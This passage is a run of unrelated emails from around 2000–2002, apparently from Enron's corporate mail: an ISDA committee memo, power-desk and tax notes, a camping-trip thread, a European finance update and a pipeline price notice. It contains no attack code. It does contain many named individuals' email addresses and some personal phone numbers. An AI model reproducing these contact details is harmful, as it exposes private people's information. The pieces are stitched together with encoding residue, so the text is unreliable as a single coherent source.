'whon@sidley.com'; 'tom.hunter@simmons-simmons.com';
'josborn@skadden.com'; 'olle.Westring@seb.se';
'anna.lawry@slaughterandmay.com';
'patrick.rosenvinge@slaughterandmay.com'; 'sanjevwks@slaughtermay.com';
'victoria.binavince@socgen.com'; 'tugdual.boisse@socgen.com';
'cecilia.poullain@socgen.com'; 'governor.tipton@us.socgen.com';
'jacqueline_tang@standardandpoors.com'; 'simmonsr@sullcrom.com';
'stephen_frank@smbcgroup.com'; 'pimbley@smbc-cm.com';
'james_baker@summithq.com'; 'carolyn_loverro@infinity.com';
'anfo@handelsbanken.com'; 'gordon_boozer@swissre.com';
'stephen_kruft@swissre.com'; 'todd_lurie@swissre.com';
'hilmar_schaumann@swissre.com'; 'cjameson@thacherproffitt.com';
'jstern@tpwlaw.com'; 'harvey@smbc-cm.com'; 'mvd@tbeuk.com';
'beckek3@tdsec.co.uk'; 'chiarp@tdusa.com'; 'hansec@tdusa.com';
'kerrl2@tdusa.com'; 'makarb2@tdusa.com'; 'rosenj2@tdusa.com';
'edward.kyritz@ubsw.com'; 'daniel.ladd@wdr.com';
'bryon.lancaster@ubsw.com'; Bryan Murtagh; 'alison.philpott@ubsw.com';
'william.sullivan@ubsw.com'; 'birgit_hoefer@westlb.de';
'matthias_kalthoff@westlb.de'; 'dr_klaus_poggemann@WestLB.de';
'dhoney@westpac.com.au'; 'ajohnson@westpac.com.au';
'llove@westpac.com.au'; 'tmcclarty@westpac.com.au';
'jmorgado@westpac.com.au'; 'price@westpac.com.au';
'istewart@westpac.com.au'; 'sross@ny.whitecase.com'
Subject: Credit Derivatives Market Practice Committee - New G6

ISDA International Swaps and Derivatives Association, Inc.
600 Fifth Avenue
Rockefeller Center - 27th floor
New York, NY 10020
Phone: (212) 332-1200
Facsimilie: (212) 332-1212

MEMO TO:  ISDA Credit Derivatives Market Practice Committee

FROM:   Louise Marshall, ISDA New York, Katia D'Hulster,
ISDA London

DATE:   May 21, 2001

RE:   New G6

At the May 8 meeting of the ISDA Credit Derivatives Market Practice
Committee, and subsequently at a May 15 meeting of the European Committee,
the following Group of Six (G6) members were elected to take forward the
Committee's work:

Dealers
NA - Mike Pohly, Morgan Stanley  michael.pohly@morganstanley.com
Eur - Pierre Mathieu, BNP Paribas
pierre.g.mathieu@bnpparibas.com

End-users/risk-takers
NA - Craig Welch, Ambac   cwelch@ambac.com
Eur - Eric Rothman, Ace Guaranty  erothman@aceguarantyre.com

Bank portfolio managers
NA - Hetty Harlan, BofA   hetty.harlan@bankofamerica.com
Eur - Cameron Munro, NAB
cameron.munro@eu.nabgroup.com

The new G6 will have its first call on Tuesday, May 22. Agenda items will be
prioritized and circulated to the whole committee. Please be sure to
identify your constituency representatives and to be aware of any resulting
communications from them. The efficiency of this process is dependent on the
input of all constituents. If you do not receive materials from your
representative, please contact him or her directly to ensure appropriate
representation.

NB: The Restructuring Supplement To the 1999 ISDA Credit Derivatives
Definitions, which is now in effect, is available on the ISDA Website
(www.isda.org).

Any questions or comments may be directed to Louise Marshall at ISDA New
York (lmarshall@isda.org) or Katia D'Hulster at ISDA London
(kdhulster@isda-eur.org).

From: 	Taylor, Mark E (Legal)  
Sent:	Wednesday, August 15, 2001 2:38 PM
To:	Shults, Bob
Cc:	Gray, Barbara N.
Subject:	Pop Up Box Language

Bob --

Here is our first draft of the pop-up box language.  Please circulate among the appropriate members of your group and let Barbara or me know if you have any comments.  Language for the revised Password Application will follow.

Mark Taylor
Vice President and General Counsel
Enron Wholesale Services
(713)853-7459

We will be short in Real Time Position Manager both at NP-15 and SP-15 for 
1/18/01 until Friday morning. It seems that four deals were entered by EES 
under the wrong desk, affecting our position instead of theirs. Following are 
the details of where, when, why and by how much we're out. Read this 
carefully....

SP-15 - Short 1950.64 MW
 Deal #500492 - 67.89 MW short off peak
 Deal #500493 - 87.97 MW short on peak

NP-15 - Short 2883.08 MW
 Deal #500494 - 102.61 MW short off peak
 Deal #500495 - 128.89 MW short on peak

If any one of you has better luck than I have at accessing EES deals in deal 
entry, by all means get rid of these. Or if you happen to speak with Suneet 
Sharma, our good friend who entered the deals in question, by all means tell 
him to do the same.

Thanks,
Kate

 Just as I was getting well.  Anyone want to plat golf the Saturday after 
Thanksgiving?  I anm ready to resume play.

You've been working on those wayyyy too long.

From: Luis Gasparini [mailto:lgasparini@simpletel.com]
Sent: Wednesday, December 13, 2000 3:17 PM
To: Scott Palmer; Ebner, Daniel; Clint.Dean@enron.com
Subject: Re: This weekend

Yeah, just think of the lines we could use:

Hey baby, wanna come out and help me pitch my tent?
Your sleeping bag or mine?
Hey baby, lets go camping.  I'll supply the pork and beans.

----- Original Message -----
From: "Scott Palmer" <Scott.Palmer@exodus.net>
To: "'Luis Gasparini'" <lgasparini@simpletel.com>; "Ebner, Daniel"
<DEbner@JPI.com>; <Clint.Dean@enron.com>
Sent: Wednesday, December 13, 2000 12:17 PM
Subject: RE: This weekend

>
> Camp there if I'm having a hard time, or if I'm looking for a "hard time"?
>
> From: Luis Gasparini [mailto:lgasparini@simpletel.com]
> Sent: Wednesday, December 13, 2000 12:18 PM
> To: Ebner, Daniel; Scott Palmer; Clint.Dean@enron.com
> Subject: Re: This weekend
>
>
> LOL!  That's some serious incentive to brave the weather.  I'm up for the
> challenge.
>
> Scott, if you have a hard time finding alternate camp sites, I suggest we
> camp in the field next to The Show Palace.  <g>
>
> ----- Original Message -----
> From: "Ebner, Daniel" <DEbner@JPI.com>
> To: "'Scott Palmer'" <Scott.Palmer@exodus.net>; <Clint.Dean@enron.com>
> Cc: "'Luis Gasparini'" <lgasparini@simpletel.com>
> Sent: Wednesday, December 13, 2000 11:38 AM
> Subject: RE: This weekend
>
>
> > Lemme put it another way.  If we don't go camping, I will be painting a
> > bedroom and re-staining kitchen cabinets.  The icing on the cake will be
> the
> > dippy girl's parents' Christmas party on Sunday.
> >
> > Cold and rain creates relatively little fear for me.
> >
> > > -----Original Message-----
> > > From: Scott Palmer [SMTP:Scott.Palmer@exodus.net]
> > > Sent: Wednesday, December 13, 2000 11:40 AM
> > > To: 'Ebner, Daniel'; 'Richard Donoghue'; 'Clint.Dean@enron.com'
> > > Cc: 'Luis Gasparini'
> > > Subject: RE: This weekend
> > >
> > >
> > > On the camping note, I am researching alternative sites just in case
the
> > > weather is insane this weekend.  Depending on which weather forecast
you
> > > believe, it will be cloudy with a chance of rain, with lows in the 40s
> and
> > > highs in the 50s.
> > >
> > > I also have to check for trail closures.  Even if it's not raining,
some
> > > trails will close down if they are muddy & wet because of erosion.
> > >
> > > No matter what, we're on for camping, though!!  Even if I have to ride
> my
> > > bike in circles around the tent.
> > >
> > > From: Ebner, Daniel [mailto:DEbner@JPI.com]
> > > Sent: Wednesday, December 13, 2000 11:17 AM
> > > To: 'Richard Donoghue'; 'Clint.Dean@enron.com'
> > > Cc: Scott Palmer; 'Luis Gasparini'
> > >
> > >
> > > Won't be the same without you.  After all, it was Richard that came up
> > > with
> > > "Sometimes you kick wood...sometimes the wood kicks you."
> > >
> > > > -----Original Message-----
> > > > From: Richard Donoghue [SMTP:Rdonoghue@mphlegal.com]
> > > > Sent: Wednesday, December 13, 2000 10:41 AM
> > > > To: 'Clint.Dean@enron.com'; Richard Donoghue
> > > > Cc: 'Scott Palmer'; 'Ebner, Daniel'; 'Luis Gasparini'
> > > > Subject: RE: This weekend
> > > >
> > > > More like types, but I can read my message aloud to my computer if
you
> > > > would
> > > > like.
> > > >
> > > > From: Clint.Dean@enron.com [mailto:Clint.Dean@enron.com]
> > > > Sent: Wednesday, December 13, 2000 10:40 AM
> > > > To: Richard Donoghue
> > > >
> > > >
> > > >
> > > > The "silent one" speaks.
> > > >
> > > >
> > > >
> > > >
> > > > Richard Donoghue <Rdonoghue@mphlegal.com> on 12/13/2000 10:37:08 AM
> > > >
> > > > To:   "'Scott Palmer'" <Scott.Palmer@exodus.net>, "'Ebner, Daniel'"
> > > >       <DEbner@JPI.com>, "'Luis Gasparini'"
<lgasparini@simpletel.com>,
> > > >       "'Clint.Dean@enron.com'" <Clint.Dean@enron.com>, Richard
> Donoghue
> > > >       <Rdonoghue@mphlegal.com>
> > > > cc:
> > > >
> > > > Subject:  RE: This weekend
> > > >
> > > >
> > > > Guys, unfortunately, I think I'm going to have to bow out of our
> camping
> > > > trip this weekend. I have been rather ill over the last week and a
> half,
> > > > and
> > > > I'm not sure that I'm up for the elements and all of the alcohol
that
> > > are
> > > > involved in this weekend's festivities. I have been hoping to get
> > > better,
> > > > but between work and my cold, I don't think I'm up for it. Have fun
> and
> > > > please try not to make too much fun of the "silent one" while you
are
> in
> > > a
> > > > wood kicking frenzy.
> > > >
> > > >
> > > > From: Scott Palmer [mailto:Scott.Palmer@exodus.net]
> > > > Sent: Tuesday, December 12, 2000 10:41 AM
> > > > To: 'Ebner, Daniel'; 'Luis Gasparini'; 'Clint.Dean@enron.com';
> > > > 'Rdonoghue@mphlegal.com'
> > > >
> > > >
> > > >
> > > > I also have a small tent that can be borrowed if "the silent one"
> > > emerges
> > > > from the depths of the legal system to join us on our quest for
> physical
> > > > pain, inebriation, and large, uncontrollable fires.
> > > >
> > > > From: Ebner, Daniel [mailto:DEbner@JPI.com]
> > > > Sent: Tuesday, December 12, 2000 10:35 AM
> > > > To: Scott Palmer; 'Luis Gasparini'; 'Clint.Dean@enron.com';
> > > >
> > > >
> > > > Clint has spoken for the tent.
> > > >
> > > > > -----Original Message-----
> > > > > From:   Ebner, Daniel
> > > > > Sent:   Tuesday, December 12, 2000 10:28 AM
> > > > > To:     'Scott Palmer'; 'Luis Gasparini'; Clint.Dean@enron.com;
> > > > > Rdonoghue@mphlegal.com
> > > > > Subject:     RE: This weekend
> > > > >
> > > > > Does everybody have a tent.  I can bring an extra SMALL tent if
> > > needed?
> > > > >
> > > > >    -----Original Message-----
> > > > >    From:     Scott Palmer [SMTP:Scott.Palmer@exodus.net]
> > > > >    Sent:     Tuesday, December 12, 2000 8:24 AM
> > > > >    To:  'Luis Gasparini'; Ebner, Daniel; Clint.Dean@enron.com;
> > > > >    Subject:  RE: This weekend
> > > > >
> > > > >
> > > > >    I'm in for that.
> > > > >
> > > > >    BTW - pack a change of warm clothes, and I'd suggest some kind
of
> > > > > light
> > > > >    nylon coat.  It might drizzle that day.
> > > > >
> > > > >    From: Luis Gasparini [mailto:lgasparini@simpletel.com]
> > > > >    Sent: Monday, December 11, 2000 4:37 PM
> > > > >    To: Ebner, Daniel; Scott Palmer; Clint.Dean@enron.com;
> > > > >    Rdonoghue@mphlegal.com
> > > > >    Subject: RE: This weekend
> > > > >
> > > > >
> > > > >    Do you guys want to go in on some New York Strip steaks?  I can
> > > pick
> > > > > up some
> > > > >    in bulk at Sam's and marinade them over night.  There are
usually
> 4
> > > > > eight to
> > > > >    ten ounce steaks per package for around $20.  They are pretty
> good
> > > > > quality.
> > > > >
> > > > >    If we do it, should I get one or two packages?  I'm thinking
two
> > > > > (unless
> > > > >    Scott is bringing Hunter, who we can BBQ instead).
> > > > >
> > > > >    From: Ebner, Daniel [mailto:DEbner@JPI.com]
> > > > >    Sent: Monday, December 11, 2000 3:00 PM
> > > > >    To: 'Scott Palmer'; Ebner, Daniel; 'Clint.Dean@enron.com'
> > > > >    Cc: 'Rdonoghue@mphlegal.com'; 'lgasparini@simpletel.com'
> > > > >
> > > > >
> > > > >    Sounds good to me.  5 o'clock.   Just kidding.
> > > > >
> > > > >    > -----Original Message-----
> > > > >    > From:   Scott Palmer [SMTP:Scott.Palmer@exodus.net]
> > > > >    > Sent:   Monday, December 11, 2000 3:02 PM
> > > > >    > To:     'Ebner, Daniel'; 'Clint.Dean@enron.com'
> > > > >    > Cc:     'Rdonoghue@mphlegal.com'; 'lgasparini@simpletel.com'
> > > > >    > Subject:     RE: This weekend
> > > > >    >
> > > > >    >
> > > > >    > So did we get a consensus on the time?
> > > > >    >
> > > > >    > From: Ebner, Daniel [mailto:DEbner@JPI.com]
> > > > >    > Sent: Monday, December 11, 2000 2:54 PM
> > > > >    > To: Scott Palmer; 'Clint.Dean@enron.com'
> > > > >    > Cc: 'Rdonoghue@mphlegal.com'; 'lgasparini@simpletel.com'
> > > > >    > Subject: RE: This weekend
> > > > >    >
> > > > >    >
> > > > >    > I think I'd have a short position in camp fire wood.  I see
the
> > > > > intrinsic
> > > > >    > value spiking upward (due to need for warmth) then crashing
> down
> > > > > (as it
> > > > >    > turns to ash).
> > > > >    >
> > > > >    > However, I'm always long Beam.
> > > > >    >
> > > > >    > > -----Original Message-----
> > > > >    > > From: Scott Palmer [SMTP:Scott.Palmer@exodus.net]
> > > > >    > > Sent: Monday, December 11, 2000 2:47 PM
> > > > >    > > To:   'Clint.Dean@enron.com'
> > > > >    > > Cc:   'Ebner, Daniel'; 'Rdonoghue@mphlegal.com';
> > > > >    > > 'lgasparini@simpletel.com'
> > > > >    > > Subject:   RE: This weekend
> > > > >    > >
> > > > >    > >
> > > > >    > > Not so fast, Clint.... for $4.50 you just get the wood, you
> > > > > don't get an
> > > > >    > > option to kick the wood.
> > > > >    > >
> > > > >    > > I'm writing December Wood-kicking calls for $1, who's
> > > > > buying....?
> > > > >    > >
> > > > >    > > From: Clint.Dean@enron.com [mailto:Clint.Dean@enron.com]
> > > > >    > > Sent: Monday, December 11, 2000 2:37 PM
> > > > >    > > To: Scott Palmer
> > > > >    > > Cc: 'Ebner, Daniel'; 'Rdonoghue@mphlegal.com';
> > > > >    > > Subject: RE: This weekend
> > > > >    > >
> > > > >    > >
> > > > >    > >
> > > > >    > > Wow, the wood I can kick!!!
> > > > >    > >
> > > > >    > >
> > > > >    > >
> > > > >    > >
> > > > >    > > Scott Palmer <Scott.Palmer@exodus.net> on 12/11/2000
02:34:59
> > > PM
> > > > >    > >
> > > > >    > > To:   "'Ebner, Daniel'" <DEbner@JPI.com>,
> > > > > "'Rdonoghue@mphlegal.com'"
> > > > >    > >       <Rdonoghue@mphlegal.com>, "'Clint.Dean@enron.com'"
> > > > >    > >       <Clint.Dean@enron.com>, "'lgasparini@simpletel.com'"
> > > > >    > >       <lgasparini@simpletel.com>
> > > > >    > > cc:
> > > > >    > >
> > > > >    > > Subject:  RE: This weekend
> > > > >    > >
> > > > >    > >
> > > > >    > >
> > > > >    > > All right - I did the unthinkable, and bought a "half-cord"
> of
> > > > > wood.
> > > > >    > For
> > > > >    > > the uninitiated, a half-cord is a stack of roughly 18- to
> > > > > 24-inch logs
> > > > >    > > that
> > > > >    > > is 8 feet long and 4 feet high.
> > > > >    > >
> > > > >    > > I'm going to bring about half of it camping, so we should
> have
> > > > > quite the
> > > > >    > > fire.
> > > > >    > >
> > > > >    > > From: Ebner, Daniel [mailto:DEbner@JPI.com]
> > > > >    > > Sent: Monday, December 11, 2000 1:55 PM
> > > > >    > > To: Scott Palmer; 'Rdonoghue@mphlegal.com';
> > > > > 'Clint.Dean@enron.com';
> > > > >    > >
> > > > >    > >
> > > > >    > > Richard, are you coming.  You've been awful quite
throughout
> > > > > this.
> > > > >    > >
> > > > >    > > I think I can scrape together 500 pennies.
> > > > >    > >
> > > > >    > > > -----Original Message-----
> > > > >    > > > From:   Scott Palmer [SMTP:Scott.Palmer@exodus.net]
> > > > >    > > > Sent:   Monday, December 11, 2000 12:50 PM
> > > > >    > > > To:     'Ebner, Daniel'; 'Rdonoghue@mphlegal.com';
> > > > >    > > 'Clint.Dean@enron.com';
> > > > >    > > > 'lgasparini@simpletel.com'
> > > > >    > > > Subject:     RE: This weekend
> > > > >    > > >
> > > > >    > > >
> > > > >    > > > OK, I can get some firewood.  I assume we're going to
need
> > > > > quite a
> > > > >    > bit,
> > > > >    > > > since we tend to build a pretty big fire every year.
> > > > >    > > >
> > > > >    > > > Can I assume that I can get $5 from everybody to help
cover
> > > > > the cost
> > > > >    > of
> > > > >    > > > the
> > > > >    > > > wood?
> > > > >    > > >
> > > > >    > > > The place is easy, there's pretty much only one area to
> tent
> > > > > camp.
> > > > >    > I'd
> > > > >    > > > say
> > > > >    > > > first ones there claim a good site.  It's been getting
dark
> > > > > around
> > > > >    > 5:00
> > > > >    > > > lately, so I'd say we need to get there before noon if
> we're
> > > > > going to
> > > > >    > > get
> > > > >    > > > a
> > > > >    > > > decent ride in and be able to pitch tents before it gets
> > > dark.
> > > > >    > > >
> > > > >    > > > That'll mean an early morning for the Dallas guys....
sorry
> > > > > bout that.
> > > > >    > > >
> > > > >    > > > From: Ebner, Daniel [mailto:DEbner@JPI.com]
> > > > >    > > > Sent: Monday, December 11, 2000 11:48 AM
> > > > >    > > > To: Scott Palmer; 'Rdonoghue@mphlegal.com';
> > > > >    > > > Subject: This weekend
> > > > >    > > >
> > > > >    > > >
> > > > >    > > > I did some looking for firewood around Coppell this
> weekend.
> > > > > Short of
> > > > >    > > the
> > > > >    > > > crap you get from Albertson's that burns up in about 15
> > > > > minutes, I
> > > > >    > could
> > > > >    > > > not
> > > > >    > > > find any.  This week, I've got something every night so I
> > > > > can't shop
> > > > >    > for
> > > > >    > > > it.
> > > > >    > > >
> > > > >    > > > Can someone be in charge of getting firewood?  It's
usually
> > > > > best to
> > > > >    > get
> > > > >    > > > from
> > > > >    > > > an actual firewood supplier that usually has trucks on
the
> > > > > side of the
> > > > >    > > > road.
> > > > >    > > > Nursuries sometimes have it also.  We can split up the
cost
> > > > > later.
> > > > >    > > >
> > > > >    > > > I'm pretty much planning on showing up with my tent,
> sleeping
> > > > > stuff,
> > > > >    > > food,
> > > > >    > > > Beam, bike, and lanterns.  Is there anything else I need
to
> > > > > bring?
> > > > >    > > >
> > > > >    > > > Also, what time, and where in the park are we meeting?
> > > > >    > >
> > > > >    > >
> > > >
> > > >

Bridge Line Information
Domestic 800-745-1000
International  801-977-0648
Code 8531935

---------------------- Forwarded by Shona Wilson/NA/Enron on 09/15/2000 12:=
28=20

Lisa Fair@ECT
09/15/2000 03:52 AM
To: Alex Holland/LON/ECT@ECT, Andrew Cornfield/LON/ECT@ECT, Anna=20
Rafalska/WAR/ECT@ECT, Anne Hicks/LON/ECT@ECT, Anthony Key/LON/ECT@ECT, Atti=
la=20
Toth/EU/Enron@Enron, Barry Sangster/LON/ECT@ECT, Berit Lokken/OSL/ECT@ECT,=
=20
Beth Apollo/LON/ECT@ECT, Brent A Price/HOU/ECT@ECT, Caroline=20
Lothian/LON/ECT@ECT, Caroline Saffell/LON/ECT@ECT, Chris Dodds/LON/ECT@ECT,=
=20
Clair Fowler/LON/ECT@ECT, Claire Wright/LON/ECT@ECT, Clinton Wee/LON/ECT@EC=
T,=20
Craig Brown/LON/ECT@ECT, David Port/Market Risk/Corp/Enron@ENRON, Denise=20
Hudson/LON/ECT@ECT, Donnah Blake/LON/ECT@ECT, Erika Moore/LON/ECT@ECT,=20
Fernley Dyson/LON/ECT@ECT, Ian Sloman/LON/ECT@ECT, Ingrid Morse/LON/ECT@ECT=
,=20
Jan-Erland Bekeng/OSL/ECT@ECT, Janine Juggins/LON/ECT@ECT, Joane=20
Saunders/LON/ECT@ECT, John Paskin/LON/ECT@ECT, Kris Trevilyan/LON/ECT@ECT,=
=20
Lisa Fair/LON/ECT@ECT, Madeline Fox/LON/ECT@ECT, Martin Burchett/LON/ECT@EC=
T,=20
Matthew Landy/LON/ECT@ECT, Michael Destefano/Corp/Enron@ENRON, Michael=20
Heap/LON/ECT@ECT, Mike Wellings/LON/ECT@ECT, Moira Brown/LON/ECT@ECT, Naomi=
=20
Connell/LON/ECT@ECT, Neil R Anderson/LON/ECT@ECT, Niall Dore/LON/ECT@ECT,=
=20
Philip Schumacher/LON/ECT@ECT, Rajen Shah/LON/ECT@ECT, Ralph=20
Jaeger/FRA/ECT@ECT, Richard Sage/LON/ECT@ECT, Sarah Pearmain/LON/ECT@ECT,=
=20
Stephane Hue/LON/ECT@ECT, Tina Ward/LON/ECT@ECT, Victoria Arthur/LON/ECT@EC=
T,=20
Stephen Wood/LON/ECT@ECT, Jane Joyce/LON/ECT@ECT, Michael Heap/LON/ECT@ECT,=
=20
Ross Sankey/LON/ECT@ECT, Hans-Mart Groen/LON/ECT@ECT, Dean=20
Randle/LON/ECT@ECT, Melissa Laing/LON/ECT@ECT, Shona Wilson/NA/Enron@Enron,=
=20
James Britton/LON/ECT@ECT, Angela A Brown/LON/ECT@ECT, Nigel=20
Grace/EU/Enron@Enron, Lucy Greggains/LON/ECT@ECT, Rebecca=20
Morrill/LON/ECT@ECT, Doug Imrie/LON/ECT@ECT, Sam Kemp/LON/ECT@ECT
cc: =20

Subject: Re: European Financial Operations Monthly Update - August 2000

European Financial Operations Monthly Update - August 2000

1. Management Overview

SAP implemented in Frankfurt
Spanish Controller, Paulino Martinez Bernal started

2. European Office Summary

Summary of Enron Europe's Remote office activities.  This has now been=20
updated to include Enron Metals locations, but has not been updated for=20
recent announcements concerning Japan and Australia.

 Please can you inform Lisa Fair of any changes that need to be made and if=
=20
anyone else should be included on the distribution list.

Norway
Oslo
Started to invoice weather counterparties. Applying MTM accounting for the=
=20
Weather book
Month end for July was finished on time
Still trying to recruit a new person for accounts payable

 Sweden
 Stockholm
1 Metals person seeking to relocate to Stockholm office

Finland
Helsinki

          =20
           Germany
Frankfurt

SAP live at 1st August 2000, no significant hiccups incurred
AA review of 1999 Enron Energie accounts started
Mobile phone policy implemented
Transfer pricing agreement between ECTRL and Enron Energie drafted

Hamburg & Frankfurt - MG Metals & Recycling

The acquisition of 2 additional yards to expand the MGMR scrap business is=
=20
pending awaiting Enron approval
MG process mapping and control review being carried out in Frankfurt and=20
Hamburg
Changing the structure of the Frankfurt office from a trading office to an=
=20
origination office

Hamburg Rudolf Wolff

New company Enron Metals Germany Gmbh being set up for the acquired assets=
=20
and employees
Changing the structure from a trading office to an origination office

Switzerland
Zurich

Office search ongoing
Transfer pricing agreement between ECTRL and Enron Energie Schweiz drafted

Rheine - Wind
Head Office to be placed in Rheine
Frankfurt assisting in recruitment of Finance Director/Bookkeeper.=20

Lugano
Back office integration planned and started
IT systems being assessed and redesigned
Move to new office due during Q 4

Spain
Madrid=20
Spanish Controller Paulino Martinez Bernal started Aug 24th
MG Brokerage (1 employee) to move into the Madrid office Sept 4
Directo first invoices to be run early Sept
New cost allocation processes, based on the Frankfurt model, to be=20
implemented for October month end
Recruiting for Directo accountant
Enron Wind Espana  - manufacteuring facility went live in Toledo on 15 June=
.=20
12 admin/ management employees still located in the Madrid office
Arcos power plant - looking for partners but currently 100% Enron.=20
Construction expected to start Q4/Q1

Portugal
Lisbon
Accounting outsourcing being moved from AA to PwC for EES Portugal Lda unde=
r=20
the global outsourcing contract with PwC =20

Holland
Amsterdam
New office pending, new employees being recruited.
Cost and profit centers being reorganised by management accounts

France
Paris

Italy
Milan=20
Project Caramella - a joint development agreement is being drafted with a=
=20
local Italien consortium for a land option and potential power plant deal=
=20
Delays on the office opening due to problems with finding a suitable local=
=20
property

Romania=20
PE Gas joint venture =01) Bucharest Office
New accounting software is still being fine tuned by local developers
Second release of settlements system to be assessed and an implementation=
=20
date scheduled
Seven big customers have been taking gas from PEGas since the beginning of=
=20
the month

Enron Romania
Bank account with Citibank Romania to be opened in September
Gas imports expected in October 2000, to replace the shortages of local gas=
=20
delivered

Poland
Warsaw=20
Moved into new office
1999 audit date and fee to be agreed with AA
=20
Russia
Moscow

Start Date: 2/4/02; HourAhead hour: 17;  No ancillary schedules awarded.  No variances detected. 

ERROR: File O:\Portland\WestDesk\California Scheduling\ISO Final Schedules\2002020417.txt is empty.
PARSING FILE -->> O:\Portland\WestDesk\California Scheduling\ISO Final Schedules\2002020417.txt

Ben:

As we have done with El Paso, Aquila and Duke; is it possible for us (Tax) to 
speak directly to the LG&E Tax Professionals.  We have found this to be the 
most efficient and effective means of handling the tax issues.  Please advise.

Thanks.

- Matt
x33979

Benjamin Rogers
10/24/2000 04:24 PM
To: Patrick Maloy/HOU/ECT@ECT, Matthew F Gockerman/HOU/ECT@ECT, Warren 
Schick/Corp/Enron@ENRON
cc: Don Miller/HOU/ECT@ECT 
Subject: 

Guys:
Here are questions from LG&E regarding the peaker assets.  Some of these 
questions are tax related.  Please assist us in answering these questions.  
Thanks for your help.
Ben
3-7998

---------------------- Forwarded by Darron C Giron/HOU/ECT on 04/26/2001 
03:45 PM ---------------------------

"Carlos Giron" <Carlos.Giron@psiusa.com> on 04/23/2001 01:48:45 PM
To: Darron.C.Giron@enron.com, Angela.teerwilliams@gte.net, Glenn@home.com, 
Ralphmayers@hotmail.com, Yhaynes@mindspring.com, Mike.Kotar@psiusa.com, 
ronniegiron@yahoo.com
cc:  
Subject: Fwd: snake

Content-Transfer-Encoding: binary
Date: Mon, 23 Apr 2001 13:45:14 -0500
From: "Bishop Keller" <BKeller@psiusa.com>
To: Carlos.Giron@psiusa.com
Subject:  snake
Mime-Version: 1.0
Content-Type: application/octet-stream; name="SNAKE.doc"
Content-Disposition: attachment; filename="SNAKE.doc"

 - SNAKE.doc

I will be out of the office on vacation from Monday, July 10 through Friday, 
July 14.  Patti Thompson, my assistant (x39106), has telephone numbers where 
I can be reached if needed.  In my absence, please contact the following 
persons in Houston with questions.  Peggy Hedstrom is the appropriate contact 
in Calgary.  

 Natural Gas Operations  Brent Price   x37647
 Power Operations   Kristin Albrecht  x34763
 Financial Products Operations Sheila Glover  x33210
 Coal, Pulp & Paper, LNG  Scott Earnest  x31746
 Weather     Todd Hall    x31957

 DPR      Mike Moscoso  x35242
 MPR      Todd Hall   x31957

I will be back in the office on Monday, July 17.  

Pls get me a printout of this Mon. AM.  I couldn't open it.  Thanks. DF
---------------------- Forwarded by Drew Fossum/ET&S/Enron on 07/09/2000 
07:23 PM ---------------------------

"Jeffrey C. Alexander" <Jalexander@Gibbs-Bruns.com> on 07/07/2000 05:35:00 PM
To: "'dfossum@enron.com'" <dfossum@enron.com>, "'bdavis@enron.com'" 
<bdavis@enron.com>
cc:  

Subject: Draft Motion for Summary Judgment on damages issues.

 Attached is a rough draft of the Motion for summary judgment on the damages
issues (Parker & Parsley/Rook/Post '94 claims).  I will be filling in the
remaining citations and gathering evidence this weekend.  Please call with
any comments you may have.

 1xdw01!
 <<1XDW01!.WPD>>

 - 1XDW01!.WPD

Steve:
Sorry for the delay.  I was actually out of the office Thursday and 
Friday...some Enron management training seminar bs.  Count me as a probably 
for dinner on Friday.  I know JP well.  
Darcy Carrol's number is 713-646-4930. 
See you this wknd
John

slafontaine@globalp.com on 09/21/2000 12:19:40 PM
To: slafontaine@globalp.com
cc: jarnold@enron.com 
Subject: Re: sept 29th

silverman cant even get an email address rite. trying this again

Steve LaFontaine
09/21/2000 11:19 AM

To:   jarnol1@enron.com, Steve LaFontaine/GlobalCo@GlobalCo
cc:
Fax to:
Subject:  sept 29th

hi johnny, still waiting for you to return my call. know your tied up these 
days
with the online stuff. shudda been in today cuz the site just went down. 
anyway
two things:

im coming in for the vitol party the 28th and going to go oout to dinner 
friday
the 29th with john paul of cms and a cupla of other trader/friends. if you 
dont
have plans would be great to have you join. let me know if youre interested.

also, i have a good friend ex cargill that joined enron. he's in i think your
brazil office-biz development. was wondering if you cud help me get either his
phone number or an email address or both. would appreciate it.

things going well for me in the new digs-making good money and enjoying 
boston.
still pretty active in natgas. when i let you outta those feb/mar a month or 
so
ago i told mark silverman that there were only two people i wud let out of a
trade. thats the truth. hope all is well and hope to talk to you soon.also
781-398-4332, cell 617-320-4332

fyi
From: 	CustomerNotices, WGPHOU [mailto:WGPHOU.CustomerNotices@Williams.com] 
Sent:	Monday, December 10, 2001 2:50 PM
Subject:	Minority\Majority Cashout Indices - November, 2001

December 10, 2001

To:  Transcontinental Gas Pipe Line Corporation Customers
     and Shippers

Re:  Minority\Majority Cashout Indices - November, 2001
     
*****************  NONPENALTY PRICE REFERENCES  *****************

                                MAJORITY            MAJORITY
    FT       MINORITY     (<= 2.5% or 1,000 dt)    ( > 2.5% )
  ------   ------------   ---------------------   ------------
  Zone 1   $2.4525 SELL       $2.14661 BUY        $2.0750 BUY 
  Zone 2    2.4863 SELL        2.33484 BUY         2.1075 BUY  
  Zone 3    2.5200 BUY         2.71910 SELL        3.0300 SELL 
  Zone 4    2.5338 SELL        2.18296 BUY         2.1522 BUY 
  Zone 5    2.5950 BUY         2.81375 SELL        3.1172 SELL 
  Zone 6    2.6445 BUY         2.74773 SELL        3.1747 SELL 

    IT       MINORITY     (<= 2.5% or 1,000 dt)    ( > 2.5% )
  Zone 4    2.5745 SELL        2.22366 BUY         2.1929 BUY  
  Zone 5    2.7807 BUY         2.99945 SELL        3.3029 SELL  
  Zone 6    2.9387 BUY         3.04193 SELL        3.4689 SELL 
 
   FTG       MINORITY     (<= 2.5% or 1,000 dt)    ( > 2.5% )
  Zone 4    2.6016 SELL        2.25076 BUY         2.2200 BUY 
  Zone 5    2.9045 BUY         3.12325 SELL        3.4267 SELL  

   FTNT      MINORITY     (<= 2.5% or 1,000 dt)    ( > 2.5% )
  Zone 6   $2.5375 BUY        $2.63728 SELL       $3.0500 SELL  

For information concerning cashout transactions, please contact
your Customer Services representative or Casilda Vasquez at (713)
215-4504 in the Rates Department.

Stella Yu
Manager - Rate Systems      
(713) 215-3381

  Stacy  is working with Constellation on a Master / GISB 

From: 	Richardson, Stacey  
Sent:	Wednesday, August 01, 2001 3:36 PM
To:	Johnson, Cheryl
Cc:	Vanek, Darren; Dickson, Stacy E.; Perlingiere, Debra; Rodriguez, Bernice; Anderson, Bridgette; Campos, Anthony; Elledge, Susan; Gonzales, Sharon; Bryan, Linda S.
Subject:	FW: Constellation Energy Source, Inc., CP 55358
Importance:	High

Cheryl,

